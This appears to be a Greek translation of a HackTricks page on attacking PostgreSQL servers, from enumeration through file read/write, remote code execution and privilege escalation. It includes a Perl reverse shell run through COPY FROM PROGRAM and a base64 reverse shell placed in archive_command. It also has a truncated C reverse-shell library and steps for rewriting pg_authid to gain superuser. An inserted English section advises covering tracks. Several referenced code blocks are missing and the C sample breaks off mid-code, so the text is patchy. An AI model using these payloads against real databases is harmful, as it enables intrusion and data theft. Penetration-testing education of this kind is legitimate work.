Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) γιανα δημιουργήσετε εύκολα και να**αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
*Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να**κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Το**PostgreSQL** περιγράφεται ως ένα **σύστημα βάσης δεδομένων αντικειμενοστραφές** που είναι **ανοικτού κώδικα**. Αυτό το σύστημα όχι μόνο χρησιμοποιεί τη γλώσσα SQL αλλά την ενισχύει και με επιπλέον χαρακτηριστικά. Οι δυνατότητές του του επιτρέπουν να χειρίζεται μια μεγάλη ποικιλία τύπων δεδομένων και λειτουργιών, κάνοντάς το μια ευέλικτη επιλογή για προγραμματιστές και οργανισμούς.
**Προεπιλεγμένη θύρα:** 5432, και αν αυτή η θύρα είναι ήδη σε χρήση, φαίνεται ότι το postgresql θα χρησιμοποιήσει την επόμενη θύρα (πιθανότατα 5433) η οποία δεν είναι σε χρήση.
Εάν εκτελέσετε την εντολή **`\list`** και βρείτε μια βάση δεδομένων με το όνομα **`rdsadmin`**, τότε γνωρίζετε ότι βρίσκεστε μέσα σε μια βάση δεδομένων **AWS PostgreSQL**.
Σύμφωνα με [**αυτή την έρευνα**](https://www.exploit-db.com/papers/13084), όταν μια προσπάθεια σύνδεσης αποτυγχάνει, το `dblink` εκτοξεύει μια εξαίρεση `sqlclient_unable_to_establish_sqlconnection` περιλαμβάνοντας μια εξήγηση του σφάλματος. Παραδείγματα αυτών των λεπτομερειών παρατίθενται παρακάτω.
```DETAIL: δεν ήταν δυνατή η σύνδεση στον διακομιστή: Δεν υπάρχει διαδρομή για τον φιλοξενητή. Εκτελείται ο διακομιστής στον φιλοξενητή "1.2.3.4" και δέχεται συνδέσεις TCP/IP στη θύρα 5678;```
PostgreSQL is a powerful, open-source object-relational database system. It is widely used in various applications and services to store and manage data. During a penetration test, it is crucial to assess the security of PostgreSQL installations to identify potential vulnerabilities that could be exploited by attackers.
#### Default Credentials
When conducting a penetration test on a PostgreSQL database, always check for default credentials that may have been left unchanged. Common default credentials for PostgreSQL include:
- Username: `postgres`
- Password: `postgres`
#### Enumeration
Enumeration is a critical phase in PostgreSQL penetration testing. Tools like `nmap` and `pg_enum` can be used to discover PostgreSQL instances running on the target network. Once PostgreSQL instances are identified, further enumeration can be performed to gather information such as database names, table names, and user accounts.
#### Exploitation
Exploiting PostgreSQL vulnerabilities requires a good understanding of SQL injection, privilege escalation, and other attack techniques. Common exploitation scenarios include gaining unauthorized access to databases, executing arbitrary SQL queries, and escalating privileges to gain administrative control.
#### Post-Exploitation
After successfully exploiting a PostgreSQL instance, post-exploitation activities can include data exfiltration, creating backdoors for persistent access, and covering tracks to avoid detection. It is essential to thoroughly clean up any traces of the intrusion to maintain stealth and avoid detection by defenders.
#### Conclusion
PostgreSQL penetration testing is a crucial aspect of assessing the security posture of database installations. By identifying and exploiting vulnerabilities in PostgreSQL, penetration testers can help organizations improve their overall security and protect sensitive data from unauthorized access.
| rolinherit | Ο ρόλος κληρονομεί αυτόματα τα προνόμια των ρόλων στους οποίους είναι μέλος |
| rolcreaterole | Ο ρόλος μπορεί να δημιουργήσει περισσότερους ρόλους |
| rolcreatedb | Ο ρόλος μπορεί να δημιουργήσει βάσεις δεδομένων |
| rolcanlogin | Ο ρόλος μπορεί να συνδεθεί. Δηλαδή, αυτός ο ρόλος μπορεί να δοθεί ως αρχικό αναγνωριστικό εξουσιοδότησης συνεδρίας |
| rolreplication | Ο ρόλος είναι ρόλος αναπαραγωγής. Ένας ρόλος αναπαραγωγής μπορεί να εκκινήσει συνδέσεις αναπαραγωγής και να δημιουργήσει και να διαγράψει υποδοχές αναπαραγωγής. |
| rolconnlimit | Για ρόλους που μπορούν να συνδεθούν, ορίζει το μέγιστο αριθμό ταυτόχρονων συνδέσεων που μπορεί να κάνει αυτός ο ρόλος. Το -1 σημαίνει ότι δεν υπάρχει όριο. |
| rolpassword | Όχι ο κωδικός πρόσβασης (διαβάζεται πάντα ως `********`) |
| rolvaliduntil | Χρόνος λήξης κωδικού (χρησιμοποιείται μόνο για την πιστοποίηση με κωδικό πρόσβασης); null αν δεν υπάρχει λήξη |
| rolbypassrls | Ο ρόλος παρακάμπτει κάθε πολιτική ασφαλείας επιπέδου γραμμής, δείτε [Ενότητα 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) για περισσότερες πληροφορίες. |
Σημειώστε ότι στο Postgres ένας **χρήστης**, μια **ομάδα** και ένας **ρόλος** είναι το **ίδιο**. Απλά εξαρτάται από το **πώς το χρησιμοποιείτε** και αν του επιτρέπετε να**συνδεθεί**.
Από αυτήν την [**αλλαγή**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) μέλη της ορισμένης ομάδας **`DEFAULT_ROLE_READ_SERVER_FILES`** (που ονομάζεται **`pg_read_server_files`**) και **υπερχρήστες** μπορούν να χρησιμοποιήσουν τη μέθοδο **`COPY`** σε οποιοδήποτε διαδρομή (ελέγξτε το `convert_and_check_filename` στο `genfile.c`):
Υπάρχουν **άλλες λειτουργίες της postgres** που μπορούν να χρησιμοποιηθούν για**ανάγνωση αρχείου ή λίστα καταλόγου**. Μόνο **υπερχρήστες** και **χρήστες με ρητές άδειες** μπορούν να τις χρησιμοποιήσουν:
Μπορείτε να βρείτε **περισσότερες λειτουργίες** στο [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
Να θυμάστε ότι το COPY δεν μπορεί να χειριστεί χαρακτήρες νέας γραμμής, επομένως ακόμη κι αν χρησιμοποιείτε ένα payload base64 **πρέπει να στείλετε μια γραμμή κώδικα**.\
Ένα πολύ σημαντικό περιορισμός αυτής της τεχνικής είναι ότι **το `copy` δεν μπορεί να χρησιμοποιηθεί για την εγγραφή δυαδικών αρχείων καθώς τροποποιεί κάποιες δυαδικές τιμές.**
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
### Ενημέρωση δεδομένων πίνακα PostgreSQL μέσω εγγραφής τοπικού αρχείου
Εάν έχετε τις απαραίτητες άδειες γιανα διαβάσετε και να γράψετε αρχεία εξυπηρετητή PostgreSQL, μπορείτε να ενημερώσετε οποιονδήποτε πίνακα στον εξυπηρετητή ανακαλύπτοντας τον σχετικό κόμβο αρχείου στο [κατάλογο δεδομένων του PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html).
Περισσότερα για αυτήν την τεχνική [εδώ](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Απαιτούμενα βήματα:
1. Αποκτήστε τον κατάλογο δεδομένων του PostgreSQL
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**Σημείωση:** Εάν δεν μπορείτε να ανακτήσετε την τρέχουσα διαδρομή του καταλόγου δεδομένων από τις ρυθμίσεις, μπορείτε να ερωτήσετε την κύρια έκδοση του PostgreSQL μέσω του ερωτήματος `SELECT version()` και να προσπαθήσετε να βρείτε τη διαδρομή με brute-force. Οι κοινές διαδρομές καταλόγων δεδομένων σε εγκαταστάσεις Unix του PostgreSQL είναι `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Ένα κοινό όνομα συστάδας είναι `main`.
2. Αποκτήστε μια σχετική διαδρομή προς τον κόμβο αρχείου, που σχετίζεται με τον στόχο πίνακα
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
```
Αυτό το ερώτημα θα πρέπει να επιστρέψει κάτι σαν`base/3/1337`. Η πλήρης διαδρομή στο δίσκο θα είναι `$DATA_DIRECTORY/base/3/1337`, δηλαδή `/var/lib/postgresql/13/main/base/3/1337`.
3. Λήψη του κόμβου αρχείου μέσω των λειτουργιών `lo_*`
4. Λάβετε τον τύπο δεδομένων, που σχετίζεται με τον στόχο πίνακα
```sql
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. Χρησιμοποιήστε το [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) γιανα [επεξεργαστείτε τον κόμβο αρχείου](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); ορίστε όλες τις λογικές σημαίες `rol*` σε 1 για πλήρεις άδειες.
9. Θα πρέπει τώρα να δείτε ενημερωμένες τιμές πίνακα στο PostgreSQL.
Μπορείτε επίσης να γίνετε υπερδιαχειριστής επεξεργάζοντας τον πίνακα `pg_authid`. **Δείτε [την ακόλουθη ενότητα](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)**.
Από την [έκδοση 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), μόνο **υπερχρήστες** και μέλη της ομάδας **`pg_execute_server_program`** μπορούν να χρησιμοποιήσουν το copy για RCE (παράδειγμα με εξυπακτήριση:
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Περισσότερες πληροφορίες σχετικά με αυτήν την ευπάθεια [**εδώ**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Ενώ αναφέρεται ως CVE-2019-9193, η Postges δήλωσε ότι αυτό ήταν ένα [χαρακτηριστικό και δεν θα διορθωθεί](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
Αφού έχετε **μάθει** από την προηγούμενη ανάρτηση **πώς να μεταφορτώσετε δυαδικά αρχεία** μπορείτε να δοκιμάσετε να αποκτήσετε **RCE με τη μεταφόρτωση μιας επέκτασης postgresql και τη φόρτωσή της**.
Οι ακόλουθοι διανύσματα RCE είναι ιδιαίτερα χρήσιμα σε περιορισμένα πλαίσια SQLi, καθώς όλα τα βήματα μπορούν να πραγματοποιηθούν μέσω εμφωλευμένων δηλώσεων SELECT
Το**αρχείο ρύθμισης** της PostgreSQL είναι **εγγράψιμο** από τον χρήστη **postgres**, ο οποίος εκτελεί τη βάση δεδομένων, οπότε ως **υπερχρήστης**, μπορείτε να γράψετε αρχεία στο σύστημα αρχείων και συνεπώς μπορείτε να**αντικαταστήσετε αυτό το αρχείο.**
*`ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Διαδρομή προς τον ιδιωτικό κλειδί της βάσης δεδομένων
*`ssl_passphrase_command = ''`Αν το ιδιωτικό αρχείο προστατεύεται με κωδικό πρόσβασης (κρυπτογραφημένο) η PostgreSQL θα **εκτελέσει την εντολή που υποδεικνύεται σε αυτό το χαρακτηριστικό**.
*`ssl_passphrase_command_supports_reload = off`**Αν** αυτό το χαρακτηριστικό είναι **ενεργοποιημένο** η **εντολή** που εκτελείται αν το κλειδί προστατεύεται με κωδικό πρόσβασης **θα εκτελεστεί** όταν εκτελείται το `pg_reload_conf()`.
Κατά τη δοκιμή αυτής της διαδικασίας παρατήρησα ότι αυτό θα λειτουργήσει μόνο εάν το **ιδιωτικό κλειδί έχει δικαιώματα 640**, είναι **κατοχυρωμένο από το root** και από τη **συγκεκριμένη ομάδα ssl-cert ή postgres** (ώστε ο χρήστης postgres να μπορεί να το διαβάσει) και βρίσκεται στο _/var/lib/postgresql/12/main_.
**Περισσότερες** [**πληροφορίες για αυτήν τη ρύθμιση και για το WAL εδώ**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Ένα άλλο χαρακτηριστικό στο αρχείο ρύθμισης που είναι εκμεταλλεύσιμο είναι το `archive_command`.
Για να λειτουργήσει αυτό, η ρύθμιση `archive_mode` πρέπει να είναι `'on'` ή `'always'`. Αν αυτό ισχύει, τότε μπορούμε να αντικαταστήσουμε την εντολή στο `archive_command` και να την εξαναγκάσουμε να εκτελεστεί μέσω των λειτουργιών WAL (write-ahead logging).
Τα γενικά βήματα είναι:
1. Έλεγχος εάν η λειτουργία αρχειοθέτησης είναι ενεργοποιημένη: `SELECT current_setting('archive_mode')`
2. Αντικατάσταση του `archive_command` με το φορτίο. Για παράδειγμα, ένα αντίστροφο κέλυφος: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Επαναφόρτωση της ρύθμισης: `SELECT pg_reload_conf()`
4. Εξαναγκάστε τη λειτουργία WAL να τρέξει, η οποία θα καλέσει την εντολή αρχειοθέτησης: `SELECT pg_switch_wal()` ή `SELECT pg_switch_xlog()`για μερικές εκδόσεις της Postgres
#### **RCE με βιβλιοθήκες προφόρτωσης**
Περισσότερες πληροφορίες [σχετικά με αυτήν την τεχνική εδώ](https://adeadfed.com/posts/postgresql-select-only-rce/).
Αυτό το διάνυσμα επίθεσης εκμεταλλεύεται τις ακόλουθες μεταβλητές ρύθμισης:
-`session_preload_libraries` -- βιβλιοθήκες που θα φορτωθούν από τον διακομιστή PostgreSQL κατά τη σύνδεση του πελάτη.
-`dynamic_library_path` -- λίστα καταλόγων όπου ο διακομιστής PostgreSQL θα αναζητήσει τις βιβλιοθήκες.
Μπορούμε να ορίσουμε την τιμή του `dynamic_library_path` σε έναν κατάλογο, εγγράψιμο από τον χρήστη `postgres` που εκτελεί τη βάση δεδομένων, για παράδειγμα, τον κατάλογο `/tmp/`, και να μεταφορτώσουμε ένα κακόβουλο αντικείμενο `.so` εκεί. Στη συνέχεια, θα εξαναγκάσουμε τον διακομιστή PostgreSQL να φορτώσει τη νεομεταφορτωμένη μας βιβλιοθήκη συμπεριλαμβάνοντάς την στη μεταβλητή `session_preload_libraries`.
2. Συμπερίληψη του καταλόγου `/tmp/` στην τιμή του `dynamic_library_path`, π.χ. `dynamic_library_path = '/tmp:$libdir'`
3. Συμπερίληψη του ονόματος της κακόβουλης βιβλιοθήκης στην τιμή του `session_preload_libraries`, π.χ. `session_preload_libraries = 'payload.so'`
4. Έλεγχος της κύριας έκδοσης της PostgreSQL μέσω του ερωτήματος `SELECT version()`
5. Σύνταξη του κώδικα της κακόβουλης βιβλιοθήκης με το σωστό πακέτο ανάπτυξης PostgreSQL
Δείγμα κώδικα:
```c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
κώδικας που προέρχεται από https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port =
## **Postgres Ανύψωση Δικαιωμάτων**
### Ανύψωση Δικαιωμάτων CREATEROLE
#### **Χορήγηση**
Σύμφωνα με τα [**έγγραφα**](https://www.postgresql.org/docs/13/sql-grant.html): _Οι ρόλοι που έχουν το προνόμιο **`CREATEROLE`** μπορούν να **χορηγήσουν ή να ανακαλέσουν την συμμετοχή σε οποιονδήποτε ρόλο** που **δεν** είναι **υπερχρήστης**._
Έτσι, αν έχετε την άδεια **`CREATEROLE`** μπορείτε να χορηγήσετε στον εαυτό σας πρόσβαση σε άλλους **ρόλους** (που δεν είναι υπερχρήστες) που μπορεί να σας δώσουν τη δυνατότητα να διαβάσετε και να γράψετε αρχεία και να εκτελέσετε εντολές:
Συχνά συμβαίνει να βρείτε ότι **οι τοπικοί χρήστες μπορούν να συνδεθούν στο PostgreSQL χωρίς να παρέχουν κωδικό πρόσβασης**. Έτσι, αφού έχετε συγκεντρώσει **δικαιώματα για εκτέλεση κώδικα**, μπορείτε να εκμεταλλευτείτε αυτά τα δικαιώματα γιανα αποκτήσετε τον ρόλο **`SUPERUSER`**:
Στο [**συγκεκριμένο άρθρο**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) εξηγείται πώς ήταν δυνατό να γίνει **privesc** στο Postgres GCP καταχρώντας το προνόμιο ALTER TABLE που είχε δοθεί στον χρήστη.
Όταν προσπαθείτε να**κάνετε άλλο χρήστη ιδιοκτήτη ενός πίνακα**, θα έπρεπε να λάβετε ένα **σφάλμα** που το αποτρέπει, αλλά φαίνεται ότι η GCP έδινε αυτήν τη **δυνατότητα στον μη-υπερχρήστη postgres** στη GCP:
Συνδυάζοντας αυτήν την ιδέα με το γεγονός ότι όταν οι εντολές **INSERT/UPDATE/ANALYZE** εκτελούνται σε έναν πίνακα με μια λειτουργία δείκτη, η **λειτουργία** καλείται ως μέρος της εντολής με τα **δικαιώματα ιδιοκτήτη του πίνακα**. Είναι δυνατό να δημιουργηθεί ένας δείκτης με μια λειτουργία και να δοθούν δικαιώματα ιδιοκτήτη σε έναν **υπερχρήστη**για αυτόν τον πίνακα, και στη συνέχεια να εκτελεστεί το ANALYZE στον πίνακα με την κακόβουλη λειτουργία που θα μπορεί να εκτελέσει εντολές επειδή χρησιμοποιεί τα δικαιώματα του ιδιοκτήτη.
2. Εισάγετε μερικό άσχετο περιεχόμενο στον πίνακα γιανα παρέχετε δεδομένα για τη λειτουργία του δείκτη.
3. Αναπτύξτε μια κακόβουλη λειτουργία δείκτη που περιέχει ένα φορτίο εκτέλεσης κώδικα, επιτρέποντας την εκτέλεση μη εξουσιοδοτημένων εντολών.
4. Αλλάξτε τον ιδιοκτήτη του πίνακα σε "cloudsqladmin," που είναι ο ρόλος υπερχρήστη του GCP που χρησιμοποιείται αποκλειστικά από το Cloud SQL για τη διαχείριση και συντήρηση της βάσης δεδομένων.
5. Εκτελέστε μια λειτουργία ANALYZE στον πίνακα. Αυτή η ενέργεια υποχρεώνει τη μηχανή PostgreSQL να μεταβεί στο πλαίσιο χρήστη του ιδιοκτήτη του πίνακα, "cloudsqladmin." Ως αποτέλεσμα, η κακόβουλη λειτουργία δείκτη καλείται με τα δικαιώματα του "cloudsqladmin," επιτρέποντας έτσι την εκτέλεση της προηγουμένως μη εξουσιοδοτημένης εντολής κελύφους.
Κάποιες λανθασμένα διαμορφωμένες περιπτώσεις του postgresql μπορεί να επιτρέπουν τη σύνδεση οποιουδήποτε τοπικού χρήστη, είναι δυνατή η τοπική σύνδεση από τη διεύθυνση 127.0.0.1 χρησιμοποιώντας τη **συνάρτηση `dblink`**:
Σημειώστε ότι για το προηγούμενο ερώτημα να λειτουργήσει **η λειτουργία `dblink` πρέπει να υπάρχει**. Αν δεν υπάρχει, μπορείτε να προσπαθήσετε να τη δημιουργήσετε με την εντολή:
Αν έχετε τον κωδικό πρόσβασης ενός χρήστη με περισσότερα προνόμια, αλλά ο χρήστης δεν επιτρέπεται να συνδεθεί από εξωτερική διεύθυνση IP, μπορείτε να χρησιμοποιήσετε την παρακάτω λειτουργία γιανα εκτελέσετε ερωτήματα ως αυτός ο χρήστης:
[**Σε αυτό το άρθρο**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), οι ελεγκτές ασφαλείας κατάφεραν να πραγματοποιήσουν προνόμια εντός μιας προσθήκης postgres που παρέχεται από την IBM, επειδή **βρήκαν αυτήν τη συνάρτηση με τη σημαία SECURITY DEFINER**:
Όπως [**εξηγείται στα έγγραφα**](https://www.postgresql.org/docs/current/sql-createfunction.html) μια συνάρτηση με **SECURITY DEFINER εκτελείται** με τα προνόμια του **χρήστη που την κατέχει**. Επομένως, αν η συνάρτηση είναι **ευάλωτη στην εισχώρηση SQL** ή εκτελεί κάποιες **προνομιούχες ενέργειες με παραμέτρους που ελέγχονται από τον εισβολέα**, θα μπορούσε να καταχραστεί γιανα**αναβαθμίσει τα προνόμια μέσα στο postgres**.
Το**PL/pgSQL** είναι μια **πλήρως λειτουργική γλώσσα προγραμματισμού** που προσφέρει μεγαλύτερο διαδικαστικό έλεγχο σε σύγκριση με την SQL. Επιτρέπει τη χρήση **βρόχων** και άλλων **δομών ελέγχου**για τη βελτίωση της λογικής του προγράμματος. Επιπλέον, **οι δηλώσεις SQL** και **οι ενεργοποιητές (triggers)** έχουν τη δυνατότητα να καλούν συναρτήσεις που δημιουργούνται χρησιμοποιώντας τη **γλώσσα PL/pgSQL**. Αυτή η ολοκλήρωση επιτρέπει μια πιο περιεκτική και ευέλικτη προσέγγιση στον προγραμματισμό και την αυτοματοποίηση της βάσης δεδομένων.\
**Μπορείτε να καταχραστείτε αυτήν τη γλώσσα γιανα ζητήσετε από το PostgreSQL να δοκιμάσει βίαια τα διαπιστευτήρια των χρηστών.**
### Ανύψωση δικαιωμάτων με τον Αντικατάσταση Εσωτερικών Πινάκων του PostgreSQL
{% hint style="info" %}
Το παρακάτω διάνυσμα ανύψωσης δικαιωμάτων είναι ιδιαίτερα χρήσιμο σε περιορισμένα πλαίσια SQLi, καθώς όλα τα βήματα μπορούν να πραγματοποιηθούν μέσω εμφωλιασμένων δηλώσεων SELECT
{% endhint %}
Αν μπορείτε **να διαβάσετε και να γράψετε αρχεία εξυπηρετητή PostgreSQL**, μπορείτε **να γίνετε υπερχρήστης** με τον αντικαταστάτη του PostgreSQL στο δίσκο, που σχετίζεται με τον εσωτερικό πίνακα `pg_authid`.
Διαβάστε περισσότερα για αυτήν την τεχνική [εδώ](https://adeadfed.com/posts/updating-postgresql-data-without-update/).
Τα βήματα της επίθεσης είναι:
1. Αποκτήστε τον κατάλογο δεδομένων του PostgreSQL
2. Αποκτήστε ένα σχετικό μονοπάτι προς τον κόμβο αρχείου, που σχετίζεται με τον πίνακα `pg_authid`
3. Λήψη του κόμβου αρχείου μέσω των λειτουργιών `lo_*`
4. Λήψη του τύπου δεδομένων, που σχετίζεται με τον πίνακα `pg_authid`
5. Χρησιμοποιήστε το [Επεξεργαστή Κόμβου Αρχείου του PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) γιανα [επεξεργαστείτε τον κόμβο αρχείου](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); ορίστε όλες τις λογικές σημαίες `rol*` σε 1 για πλήρη δικαιώματα.
7. Επαναφόρτωση του επεξεργασμένου κόμβου αρχείου μέσω των λειτουργιών `lo_*`, και αντικατάσταση του αρχικού αρχείου στο δίσκο
8.*(Προαιρετικά)* Καθαρίστε την προσωρινή μνήμη του πίνακα εκτέλωντας μια δαπανηρή δήλωση SQL
9. Θα πρέπει τώρα να έχετε τα δικαιώματα ενός πλήρους υπερδιαχειριστή.
[pgadmin](https://www.pgadmin.org) είναι μια πλατφόρμα διαχείρισης και ανάπτυξης για το PostgreSQL.\
Μπορείτε να βρείτε **κωδικούς πρόσβασης** μέσα στο αρχείο _**pgadmin4.db**_\
Μπορείτε να τους αποκρυπτογραφήσετε χρησιμοποιώντας τη λειτουργία _**decrypt**_ μέσα στο σενάριο: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
Η πιστοποίηση πελάτη στο PostgreSQL διαχειρίζεται μέσω ενός αρχείου ρυθμίσεων που ονομάζεται **pg_hba.conf**. Αυτό το αρχείο περιέχει μια σειρά εγγραφών, καθεμία από τις οποίες καθορίζει τον τύπο σύνδεσης, την εύρεση διευθύνσεων IP του πελάτη (εάν είναι εφαρμόσιμο), το όνομα της βάσης δεδομένων, το όνομα χρήστη και τη μέθοδο πιστοποίησης που θα χρησιμοποιηθεί για την αντιστοίχιση των συνδέσεων. Η πρώτη εγγραφή που ταιριάζει με τον τύπο σύνδεσης, τη διεύθυνση του πελάτη, τη ζητούμενη βάση δεδομένων και το όνομα χρήστη χρησιμοποιείται για την πιστοποίηση. Δεν υπάρχει εναλλακτική λύση ή αντίγραφο ασφαλείας εάν αποτύχει η πιστοποίηση. Εάν καμία εγγραφή δεν ταιριάζει, η πρόσβαση απορρίπτεται.
Οι διαθέσιμες μέθοδοι πιστοποίησης βασισμένες σε κωδικό πρόσβασης στο pg_hba.conf είναι **md5**, **crypt** και **password**. Αυτές οι μέθοδοι διαφέρουν στον τρόπο με τον οποίο μεταδίδεται ο κωδικός πρόσβασης: με κρυπτογράφηση MD5, κρυπτογράφηση με crypt ή κείμενο καθαρό. Σημαντικό είναι να σημειωθεί ότι η μέθοδος crypt δεν μπορεί να χρησιμοποιηθεί με κωδικούς πρόσβασης που έχουν κρυπτογραφηθεί στο pg_authid.